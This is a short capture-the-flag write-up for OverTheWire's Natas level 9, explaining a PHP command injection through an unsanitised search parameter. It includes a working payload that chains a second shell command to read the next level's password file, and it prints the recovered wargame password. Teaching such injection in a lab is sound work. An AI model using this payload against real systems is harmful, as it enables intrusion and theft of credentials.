Writeups OverTheWireNatasWebCommand InjectionPHP

Natas 9 Writeup - OverTheWire

Writeup for Natas level 9 from OverTheWire: command injection via a search parameter.

Contents

Wargame: Natas

Level: 9

Category: Web Security

Description

The PHP source does passthru("grep -i $needle dictionary.txt"). The $needle value comes directly from user input with no sanitisation. Injecting shell metacharacters runs arbitrary commands.

Overview

Solution

payload = "; cat /etc/natas_webpass/natas10 #"
response = requests.get(url, auth=("natas9", current_password), params={"needle": payload, "submit": ""})
result = response.text.strip().splitlines()[0].strip()

Password

D44EcsFkLxPIkAAKLosx8z3hxX1Z4MCE

← Back to Blog